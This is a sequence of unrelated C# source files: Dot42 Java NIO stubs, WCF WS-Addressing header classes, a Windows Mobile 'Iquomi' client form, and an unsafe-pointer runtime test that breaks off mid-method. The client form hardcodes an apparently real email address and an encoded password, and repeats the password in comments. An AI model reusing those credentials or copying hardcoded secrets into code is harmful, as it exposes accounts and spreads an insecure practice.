</summary> /// <java-name> /// isOpen /// </java-name> [Dot42.DexImport("isOpen", "()Z", AccessFlags = 17)] public override bool IsOpen() /* MethodBuilder.Create */ { return default(bool); } /// <summary> /// <para>Returns this selector's provider. </para> /// </summary> /// <java-name> /// provider /// </java-name> [Dot42.DexImport("provider", "()Ljava/nio/channels/spi/SelectorProvider;", AccessFlags = 17)] public override global::Java.Nio.Channels.Spi.SelectorProvider Provider() /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.Spi.SelectorProvider); } /// <summary> /// <para>Returns this channel's set of canceled selection keys. </para> /// </summary> /// <java-name> /// cancelledKeys /// </java-name> [Dot42.DexImport("cancelledKeys", "()Ljava/util/Set;", AccessFlags = 20, Signature = "()Ljava/util/Set<Ljava/nio/channels/SelectionKey;>;")] protected internal global::Java.Util.ISet<global::Java.Nio.Channels.SelectionKey> CancelledKeys() /* MethodBuilder.Create */ { return default(global::Java.Util.ISet<global::Java.Nio.Channels.SelectionKey>); } /// <summary> /// <para>Registers <c> channel </c> with this selector.</para><para></para> /// </summary> /// <returns> /// <para>the key related to the channel and this selector. </para> /// </returns> /// <java-name> /// register /// </java-name> [Dot42.DexImport("register", "(Ljava/nio/channels/spi/AbstractSelectableChannel;ILjava/lang/Object;)Ljava/nio/c" + "hannels/SelectionKey;", AccessFlags = 1028)] protected internal abstract global::Java.Nio.Channels.SelectionKey Register(global::Java.Nio.Channels.Spi.AbstractSelectableChannel channel, int operations, object attachment) /* MethodBuilder.Create */ ; /// <summary> /// <para>Deletes the key from the channel's key set. </para> /// </summary> /// <java-name> /// deregister /// </java-name> [Dot42.DexImport("deregister", "(Ljava/nio/channels/spi/AbstractSelectionKey;)V", AccessFlags = 20)] protected internal void Deregister(global::Java.Nio.Channels.Spi.AbstractSelectionKey key) /* MethodBuilder.Create */ { } /// <summary> /// <para>Indicates the beginning of a code section that includes an I/O operation that is potentially blocking. After this operation, the application should invoke the corresponding <c> end(boolean) </c> method. </para> /// </summary> /// <java-name> /// begin /// </java-name> [Dot42.DexImport("begin", "()V", AccessFlags = 20)] protected internal void Begin() /* MethodBuilder.Create */ { } /// <summary> /// <para>Indicates the end of a code section that has been started with <c> begin() </c> and that includes a potentially blocking I/O operation. </para> /// </summary> /// <java-name> /// end /// </java-name> [Dot42.DexImport("end", "()V", AccessFlags = 20)] protected internal void End() /* MethodBuilder.Create */ { } [global::System.ComponentModel.EditorBrowsable(global::System.ComponentModel.EditorBrowsableState.Never)] internal AbstractSelector() /* TypeBuilder.AddDefaultConstructor */ { } } /// <summary> /// <para><c> AbstractSelectionKey </c> is the base implementation class for selection keys. It implements validation and cancellation methods. </para> /// </summary> /// <java-name> /// java/nio/channels/spi/AbstractSelectionKey /// </java-name> [Dot42.DexImport("java/nio/channels/spi/AbstractSelectionKey", AccessFlags = 1057)] public abstract partial class AbstractSelectionKey : global::Java.Nio.Channels.SelectionKey /* scope: __dot42__ */ { /// <summary> /// <para>Constructs a new <c> AbstractSelectionKey </c> . </para> /// </summary> [Dot42.DexImport("<init>", "()V", AccessFlags = 4)] protected internal AbstractSelectionKey() /* MethodBuilder.Create */ { } /// <summary> /// <para>Indicates whether this key is valid. A key is valid as long as it has not been canceled.</para><para></para> /// </summary> /// <returns> /// <para><c> true </c> if this key has not been canceled, <c> false </c> otherwise. </para> /// </returns> /// <java-name> /// isValid /// </java-name> [Dot42.DexImport("isValid", "()Z", AccessFlags = 17)] public override bool IsValid() /* MethodBuilder.Create */ { return default(bool); } /// <summary> /// <para>Cancels this key. </para><para>A key that has been canceled is no longer valid. Calling this method on an already canceled key does nothing. </para> /// </summary> /// <java-name> /// cancel /// </java-name> [Dot42.DexImport("cancel", "()V", AccessFlags = 17)] public override void Cancel() /* MethodBuilder.Create */ { } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Runtime; using System.Xml; namespace System.ServiceModel.Channels { internal abstract class AddressingHeader : DictionaryHeader, IMessageHeaderWithSharedNamespace { private AddressingVersion _version; protected AddressingHeader(AddressingVersion version) { _version = version; } internal AddressingVersion Version { get { return _version; } } XmlDictionaryString IMessageHeaderWithSharedNamespace.SharedPrefix { get { return XD.AddressingDictionary.Prefix; } } XmlDictionaryString IMessageHeaderWithSharedNamespace.SharedNamespace { get { return _version.DictionaryNamespace; } } public override XmlDictionaryString DictionaryNamespace { get { return _version.DictionaryNamespace; } } } internal class ActionHeader : AddressingHeader { private string _action; private const bool mustUnderstandValue = true; private ActionHeader(string action, AddressingVersion version) : base(version) { _action = action; } public string Action { get { return _action; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.Action; } } public static ActionHeader Create(string action, AddressingVersion addressingVersion) { if (action == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("action")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("addressingVersion"); return new ActionHeader(action, addressingVersion); } public static ActionHeader Create(XmlDictionaryString dictionaryAction, AddressingVersion addressingVersion) { if (dictionaryAction == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("action")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("addressingVersion"); return new DictionaryActionHeader(dictionaryAction, addressingVersion); } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteString(_action); } public static string ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion addressingVersion) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.Action, addressingVersion.DictionaryNamespace), ""); string act = reader.ReadElementContentAsString(); if (act.Length > 0 && (act[0] <= 32 || act[act.Length - 1] <= 32)) act = XmlUtil.Trim(act); return act; } public static ActionHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { string action = ReadHeaderValue(reader, version); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { return new ActionHeader(action, version); } else { return new FullActionHeader(action, actor, mustUnderstand, relay, version); } } internal class DictionaryActionHeader : ActionHeader { private XmlDictionaryString _dictionaryAction; public DictionaryActionHeader(XmlDictionaryString dictionaryAction, AddressingVersion version) : base(dictionaryAction.Value, version) { _dictionaryAction = dictionaryAction; } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteString(_dictionaryAction); } } internal class FullActionHeader : ActionHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullActionHeader(string action, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(action, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class FromHeader : AddressingHeader { private EndpointAddress _from; private const bool mustUnderstandValue = false; private FromHeader(EndpointAddress from, AddressingVersion version) : base(version) { _from = from; } public EndpointAddress From { get { return _from; } } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.From; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public static FromHeader Create(EndpointAddress from, AddressingVersion addressingVersion) { if (from == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("from")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("addressingVersion"); return new FromHeader(from, addressingVersion); } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { _from.WriteContentsTo(this.Version, writer); } public static FromHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { EndpointAddress from = ReadHeaderValue(reader, version); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { return new FromHeader(from, version); } else { return new FullFromHeader(from, actor, mustUnderstand, relay, version); } } public static EndpointAddress ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion addressingVersion) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.From, addressingVersion.DictionaryNamespace), ""); return EndpointAddress.ReadFrom(addressingVersion, reader); } internal class FullFromHeader : FromHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullFromHeader(EndpointAddress from, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(from, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class FaultToHeader : AddressingHeader { private EndpointAddress _faultTo; private const bool mustUnderstandValue = false; private FaultToHeader(EndpointAddress faultTo, AddressingVersion version) : base(version) { _faultTo = faultTo; } public EndpointAddress FaultTo { get { return _faultTo; } } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.FaultTo; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { _faultTo.WriteContentsTo(this.Version, writer); } public static FaultToHeader Create(EndpointAddress faultTo, AddressingVersion addressingVersion) { if (faultTo == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("faultTo")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("addressingVersion"); return new FaultToHeader(faultTo, addressingVersion); } public static FaultToHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { EndpointAddress faultTo = ReadHeaderValue(reader, version); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { return new FaultToHeader(faultTo, version); } else { return new FullFaultToHeader(faultTo, actor, mustUnderstand, relay, version); } } public static EndpointAddress ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.FaultTo, version.DictionaryNamespace), ""); return EndpointAddress.ReadFrom(version, reader); } internal class FullFaultToHeader : FaultToHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullFaultToHeader(EndpointAddress faultTo, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(faultTo, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class ToHeader : AddressingHeader { private Uri _to; private const bool mustUnderstandValue = true; private static ToHeader s_anonymousToHeader10; private static ToHeader s_anonymousToHeader200408; protected ToHeader(Uri to, AddressingVersion version) : base(version) { _to = to; } private static ToHeader AnonymousTo10 { get { if (s_anonymousToHeader10 == null) s_anonymousToHeader10 = new AnonymousToHeader(AddressingVersion.WSAddressing10); return s_anonymousToHeader10; } } private static ToHeader AnonymousTo200408 { get { if (s_anonymousToHeader200408 == null) s_anonymousToHeader200408 = new AnonymousToHeader(AddressingVersion.WSAddressingAugust2004); return s_anonymousToHeader200408; } } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.To; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public Uri To { get { return _to; } } public static ToHeader Create(Uri toUri, XmlDictionaryString dictionaryTo, AddressingVersion addressingVersion) { if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("addressingVersion"); if (((object)toUri == (object)addressingVersion.AnonymousUri)) { if (addressingVersion == AddressingVersion.WSAddressing10) return AnonymousTo10; else return AnonymousTo200408; } else { return new DictionaryToHeader(toUri, dictionaryTo, addressingVersion); } } public static ToHeader Create(Uri to, AddressingVersion addressingVersion) { if ((object)to == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("to")); } else if ((object)to == (object)addressingVersion.AnonymousUri) { if (addressingVersion == AddressingVersion.WSAddressing10) return AnonymousTo10; else return AnonymousTo200408; } else { return new ToHeader(to, addressingVersion); } } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteString(_to.AbsoluteUri); } public static Uri ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version) { return ReadHeaderValue(reader, version, null); } public static Uri ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version, UriCache uriCache) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.To, version.DictionaryNamespace), ""); string toString = reader.ReadElementContentAsString(); if ((object)toString == (object)version.Anonymous) { return version.AnonymousUri; } if (uriCache == null) { return new Uri(toString); } return uriCache.CreateUri(toString); } public static ToHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, UriCache uriCache, string actor, bool mustUnderstand, bool relay) { Uri to = ReadHeaderValue(reader, version, uriCache); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { if ((object)to == (object)version.Anonymous) { if (version == AddressingVersion.WSAddressing10) return AnonymousTo10; else if (version == AddressingVersion.WSAddressingAugust2004) return AnonymousTo200408; else throw ExceptionHelper.PlatformNotSupported(); } else { return new ToHeader(to, version); } } else { return new FullToHeader(to, actor, mustUnderstand, relay, version); } } private class AnonymousToHeader : ToHeader { public AnonymousToHeader(AddressingVersion version) : base(version.AnonymousUri, version) { } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteString(this.Version.DictionaryAnonymous); } } internal class DictionaryToHeader : ToHeader { private XmlDictionaryString _dictionaryTo; public DictionaryToHeader(Uri to, XmlDictionaryString dictionaryTo, AddressingVersion version) : base(to, version) { _dictionaryTo = dictionaryTo; } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteString(_dictionaryTo); } } internal class FullToHeader : ToHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullToHeader(Uri to, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(to, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class ReplyToHeader : AddressingHeader { private EndpointAddress _replyTo; private const bool mustUnderstandValue = false; private static ReplyToHeader s_anonymousReplyToHeader10; private ReplyToHeader(EndpointAddress replyTo, AddressingVersion version) : base(version) { _replyTo = replyTo; } public EndpointAddress ReplyTo { get { return _replyTo; } } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.ReplyTo; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public static ReplyToHeader AnonymousReplyTo10 { get { if (s_anonymousReplyToHeader10 == null) s_anonymousReplyToHeader10 = new ReplyToHeader(EndpointAddress.AnonymousAddress, AddressingVersion.WSAddressing10); return s_anonymousReplyToHeader10; } } public static ReplyToHeader Create(EndpointAddress replyTo, AddressingVersion addressingVersion) { if (replyTo == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("replyTo")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("addressingVersion")); return new ReplyToHeader(replyTo, addressingVersion); } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { _replyTo.WriteContentsTo(this.Version, writer); } public static ReplyToHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { EndpointAddress replyTo = ReadHeaderValue(reader, version); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { if ((object)replyTo == (object)EndpointAddress.AnonymousAddress) { if (version == AddressingVersion.WSAddressing10) return AnonymousReplyTo10; else // Verify that only WSA10 is supported throw ExceptionHelper.PlatformNotSupported(); } return new ReplyToHeader(replyTo, version); } else { return new FullReplyToHeader(replyTo, actor, mustUnderstand, relay, version); } } public static EndpointAddress ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.ReplyTo, version.DictionaryNamespace), ""); return EndpointAddress.ReadFrom(version, reader); } internal class FullReplyToHeader : ReplyToHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullReplyToHeader(EndpointAddress replyTo, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(replyTo, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class MessageIDHeader : AddressingHeader { private UniqueId _messageId; private const bool mustUnderstandValue = false; private MessageIDHeader(UniqueId messageId, AddressingVersion version) : base(version) { _messageId = messageId; } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.MessageId; } } public UniqueId MessageId { get { return _messageId; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public static MessageIDHeader Create(UniqueId messageId, AddressingVersion addressingVersion) { if (object.ReferenceEquals(messageId, null)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("messageId")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("addressingVersion")); return new MessageIDHeader(messageId, addressingVersion); } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteValue(_messageId); } public static UniqueId ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version) { Fx.Assert(reader.IsStartElement(XD.AddressingDictionary.MessageId, version.DictionaryNamespace), ""); return reader.ReadElementContentAsUniqueId(); } public static MessageIDHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { UniqueId messageId = ReadHeaderValue(reader, version); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay) { return new MessageIDHeader(messageId, version); } else { return new FullMessageIDHeader(messageId, actor, mustUnderstand, relay, version); } } internal class FullMessageIDHeader : MessageIDHeader { private string _actor; private bool _mustUnderstand; private bool _relay; public FullMessageIDHeader(UniqueId messageId, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(messageId, version) { _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } public override bool Relay { get { return _relay; } } } } internal class RelatesToHeader : AddressingHeader { private UniqueId _messageId; private const bool mustUnderstandValue = false; internal static readonly Uri ReplyRelationshipType = new Uri(Addressing10Strings.ReplyRelationship); private RelatesToHeader(UniqueId messageId, AddressingVersion version) : base(version) { _messageId = messageId; } public override XmlDictionaryString DictionaryName { get { return XD.AddressingDictionary.RelatesTo; } } public UniqueId UniqueId { get { return _messageId; } } public override bool MustUnderstand { get { return mustUnderstandValue; } } public virtual Uri RelationshipType { get { return ReplyRelationshipType; } } public static RelatesToHeader Create(UniqueId messageId, AddressingVersion addressingVersion) { if (object.ReferenceEquals(messageId, null)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("messageId")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("addressingVersion")); return new RelatesToHeader(messageId, addressingVersion); } public static RelatesToHeader Create(UniqueId messageId, AddressingVersion addressingVersion, Uri relationshipType) { if (object.ReferenceEquals(messageId, null)) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("messageId")); if (addressingVersion == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("addressingVersion")); if (relationshipType == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentNullException("relationshipType")); if (relationshipType == ReplyRelationshipType) { return new RelatesToHeader(messageId, addressingVersion); } else { return new FullRelatesToHeader(messageId, "", false, false, addressingVersion); } } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { writer.WriteValue(_messageId); } public static void ReadHeaderValue(XmlDictionaryReader reader, AddressingVersion version, out Uri relationshipType, out UniqueId messageId) { AddressingDictionary addressingDictionary = XD.AddressingDictionary; // The RelationshipType attribute has no namespace. relationshipType = ReplyRelationshipType; /* string relation = reader.GetAttribute(addressingDictionary.RelationshipType, addressingDictionary.Empty); if (relation == null) { relationshipType = ReplyRelationshipType; } else { relationshipType = new Uri(relation); } */ Fx.Assert(reader.IsStartElement(addressingDictionary.RelatesTo, version.DictionaryNamespace), ""); messageId = reader.ReadElementContentAsUniqueId(); } public static RelatesToHeader ReadHeader(XmlDictionaryReader reader, AddressingVersion version, string actor, bool mustUnderstand, bool relay) { UniqueId messageId; Uri relationship; ReadHeaderValue(reader, version, out relationship, out messageId); if (actor.Length == 0 && mustUnderstand == mustUnderstandValue && !relay && (object)relationship == (object)ReplyRelationshipType) { return new RelatesToHeader(messageId, version); } else { return new FullRelatesToHeader(messageId, actor, mustUnderstand, relay, version); } } internal class FullRelatesToHeader : RelatesToHeader { private string _actor; private bool _mustUnderstand; private bool _relay; //Uri relationship; public FullRelatesToHeader(UniqueId messageId, string actor, bool mustUnderstand, bool relay, AddressingVersion version) : base(messageId, version) { //this.relationship = relationship; _actor = actor; _mustUnderstand = mustUnderstand; _relay = relay; } public override string Actor { get { return _actor; } } public override bool MustUnderstand { get { return _mustUnderstand; } } /* public override Uri RelationshipType { get { return relationship; } } */ public override bool Relay { get { return _relay; } } protected override void OnWriteHeaderContents(XmlDictionaryWriter writer, MessageVersion messageVersion) { /* if ((object)relationship != (object)ReplyRelationshipType) { // The RelationshipType attribute has no namespace. writer.WriteStartAttribute(AddressingStrings.RelationshipType, AddressingStrings.Empty); writer.WriteString(relationship.AbsoluteUri); writer.WriteEndAttribute(); } */ writer.WriteValue(_messageId); } } } }
#region Using directives using System; using System.Drawing; using System.Collections; using System.Windows.Forms; using System.Data; using Commanigy.Iquomi.Client.SmartDevice.ServiceRef; using Commanigy.Iquomi.Api; using Commanigy.Iquomi.Services; #endregion namespace Commanigy.Iquomi.Client.SmartDevice { /// <summary> /// Summary description for FrmIquomi. /// </summary> public class FrmIquomi : System.Windows.Forms.Form { private System.Windows.Forms.Label label1; private System.Windows.Forms.Button button1; private System.Windows.Forms.ListView lvServices; private string email = "peter@theill.com"; private string password = "g5zTb4oNXBR1VWyUqhNdcQ=="; private System.Windows.Forms.MainMenu mnmApp; private System.Windows.Forms.MenuItem miTools; private System.Windows.Forms.MenuItem miSignIn; private System.Windows.Forms.MenuItem miSignOut; private System.Windows.Forms.MenuItem menuItem4; private System.Windows.Forms.MenuItem menuItem5; private System.Windows.Forms.ContextMenu ctmServices; private System.Windows.Forms.MenuItem menuItem6; /// <summary> /// Property Email (string) /// </summary> public string Email { get { return this.email; } set { this.email = value; } } /// <summary> /// Property Password (string) /// </summary> public string Password { get { return this.password; } set { this.password = value; } } private AdminRef.IquomiWSAdmin adminWebService; public FrmIquomi() { // // Required for Windows Form Designer support // InitializeComponent(); adminWebService = new AdminRef.IquomiWSAdmin(); } /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing ) { base.Dispose( disposing ); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.mnmApp = new System.Windows.Forms.MainMenu(); this.miTools = new System.Windows.Forms.MenuItem(); this.miSignIn = new System.Windows.Forms.MenuItem(); this.miSignOut = new System.Windows.Forms.MenuItem(); this.menuItem4 = new System.Windows.Forms.MenuItem(); this.menuItem5 = new System.Windows.Forms.MenuItem(); this.label1 = new System.Windows.Forms.Label(); this.button1 = new System.Windows.Forms.Button(); this.lvServices = new System.Windows.Forms.ListView(); this.ctmServices = new System.Windows.Forms.ContextMenu(); this.menuItem6 = new System.Windows.Forms.MenuItem(); this.SuspendLayout(); // // mnmApp // this.mnmApp.MenuItems.Add(this.miTools); // // miTools // this.miTools.MenuItems.Add(this.miSignIn); this.miTools.MenuItems.Add(this.miSignOut); this.miTools.MenuItems.Add(this.menuItem4); this.miTools.MenuItems.Add(this.menuItem5); this.miTools.Text = "Tools"; // // miSignIn // this.miSignIn.Text = "Sign In..."; this.miSignIn.Click += new System.EventHandler(this.miSignIn_Click); // // miSignOut // this.miSignOut.Text = "Sign Out"; // // menuItem4 // this.menuItem4.Text = "-"; // // menuItem5 // this.menuItem5.Text = "Preferences..."; // // label1 // this.label1.Location = new System.Drawing.Point(8, 8); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(72, 20); this.label1.Text = "Services"; // // button1 // this.button1.Location = new System.Drawing.Point(152, 240); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(72, 20); this.button1.TabIndex = 1; this.button1.Text = "Load"; this.button1.Click += new System.EventHandler(this.button1_Click); // // lvServices // this.lvServices.ContextMenu = this.ctmServices; this.lvServices.FullRowSelect = true; this.lvServices.Location = new System.Drawing.Point(8, 32); this.lvServices.Name = "lvServices"; this.lvServices.Size = new System.Drawing.Size(216, 200); this.lvServices.TabIndex = 0; this.lvServices.View = System.Windows.Forms.View.List; this.lvServices.ItemActivate += new System.EventHandler(this.lvServices_ItemActivate); // // ctmServices // this.ctmServices.MenuItems.Add(this.menuItem6); this.ctmServices.Popup += new System.EventHandler(this.ctmServices_Popup); // // menuItem6 // this.menuItem6.Text = "Refresh"; this.menuItem6.Click += new System.EventHandler(this.menuItem6_Click); // // FrmIquomi // this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Inherit; this.ClientSize = new System.Drawing.Size(240, 268); this.Controls.Add(this.lvServices); this.Controls.Add(this.button1); this.Controls.Add(this.label1); this.Menu = this.mnmApp; this.Name = "FrmIquomi"; this.Text = "Iquomi"; this.ResumeLayout(false); } #endregion private void button1_Click(object sender, System.EventArgs e) { // adminWebService.AuthenticationTypeValue = new AdminRef.AuthenticationType(); // adminWebService.AuthenticationTypeValue.Iqid = this.Email; // adminWebService.AuthenticationTypeValue.Password = this.Password; adminWebService.BeginGetSubscriptionServices(new AsyncCallback(OnSubscriptionServices), adminWebService); } private void OnSubscriptionServices(IAsyncResult result) { AdminRef.IquomiWSAdmin aws = (AdminRef.IquomiWSAdmin)result.AsyncState; AdminRef.Service[] services = adminWebService.EndGetSubscriptionServices(result); if (services != null) { BuildServicesMenu(services); } else { lvServices.Items.Add(new ListViewItem("none found")); } } private void BuildServicesMenu(AdminRef.Service[] services) { foreach (AdminRef.Service s in services) { ListViewItem lvi = new ListViewItem(s.Name); lvServices.Items.Add(lvi); } } private void lvServices_ItemActivate(object sender, System.EventArgs e) { // execute service ListView lv = (ListView)sender; string serviceName = lv.Items[lv.SelectedIndices[0]].Text; MessageBox.Show("You clicked on " + serviceName); } private Service GetService(string serviceName) { Service myService = new Service(); // myService.AuthenticationTypeValue = new AuthenticationType(); // myService.AuthenticationTypeValue.Iqid = "petertheill"; // myService.AuthenticationTypeValue.Password = "g5zTb4oNXBR1VWyUqhNdcQ=="; // myService.RequestTypeValue = new RequestType(); // myService.RequestTypeValue.Service = serviceName; // myService.RequestTypeValue.OwnerIqid = "petertheill"; return myService; } private void menuItem6_Click(object sender, System.EventArgs e) { Service myService = GetService("iqServices"); QueryRequestType req = new QueryRequestType(); XpQueryType query = new XpQueryType(); query.Select = "/m:iqServices/m:service"; req.XpQuery = new XpQueryType[] { query }; QueryResponseType res = myService.Query(req); if (res != null && res.XpQueryResponse != null && res.XpQueryResponse[0].Status == ResponseStatus.Success) { if (res.XpQueryResponse[0].Any.Length == 0) { return; } // serviceType[] services = (serviceType[])ServiceUtils.GetObject( // typeof(serviceType), // res.XpQueryResponse[0].Any // ); // foreach (serviceType s in services) { // ListViewItem lvi = new ListViewItem(s.name); // lvServices.Items.Add(lvi); // } } } private void ctmServices_Popup(object sender, System.EventArgs e) { } private void miSignIn_Click(System.Object sender, System.EventArgs e) { } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; internal class TestApp { private static unsafe long test_1(B* pb) { return pb->m_bval; } private static unsafe long test_8(B[] ab, long i) { fixed (B* pb = &ab[i]) { return pb->m_bval; } } private static unsafe long test_15(B* pb) { return (pb += 6)->m_bval; } private static unsafe long test_22(B* pb, long[,,] i, long ii) { return (&pb[++i[--ii, 0, 0]])->m_bval; } private static unsafe long test_29(AA* px) { return ((B*)AA.get_pb_i(px))->m_bval; } private static unsafe long test_36(byte diff, A* pa) { return ((B*)(((byte*)pa) + diff))->m_bval; } private static unsafe long test_43() { AA loc_x = new AA(0, 100); return (&loc_x.m_b)[0].m_bval; } private static unsafe long test_50(B[][] ab, long i, long j) { fixed (B* pb = &ab[i][j]) { return pb[0].m_bval; } } private static unsafe long test_57(B* pb1, long i) { B* pb; return (pb = (B*)(((byte*)pb1) + i * sizeof(B)))[0].m_bval; } private static unsafe long test_64(B* pb, long[,,] i, long ii, byte jj) { return (&pb[i[ii - jj, 0, ii - jj] = ii - 1])[0].m_bval; } private static unsafe long test_71(ulong ub, byte lb) { return ((B*)(ub | lb))[0].m_bval; } private static unsafe long test_78(long p, long s) { return ((B*)((p >> 4) | s))[0].m_bval; } private static unsafe long test_85(B[] ab) { fixed (B* pb = &ab[0]) { return AA.get_bv1(pb); } } private static unsafe long test_92(B* pb) { return AA.get_bv1((++pb)); } private static unsafe long test_99(B* pb, long[] i, long ii) { return AA.get_bv1((&pb[i[ii]])); } private static unsafe long test_106(AA* px) { return AA.get_bv1((AA.get_pb_1(px) + 1)); } private static unsafe long test_113(long pb) { return AA.get_bv1(((B*)checked(((long)pb) + 1))); } private static unsafe long test_120(B* pb) { return AA.get_bv2(*(pb--)); } private static unsafe long test_127(AA[,] ab, long i) { long j = 0; fixed (B* pb = &ab[--i, ++j].m_b) { return AA.get_bv2(*pb); } } private static unsafe long test_134(B* pb1, long i) { B* pb; return AA.get_bv2(*(pb = pb1 + i)); } private static unsafe long test_141(B* pb1, B* pb2) { return 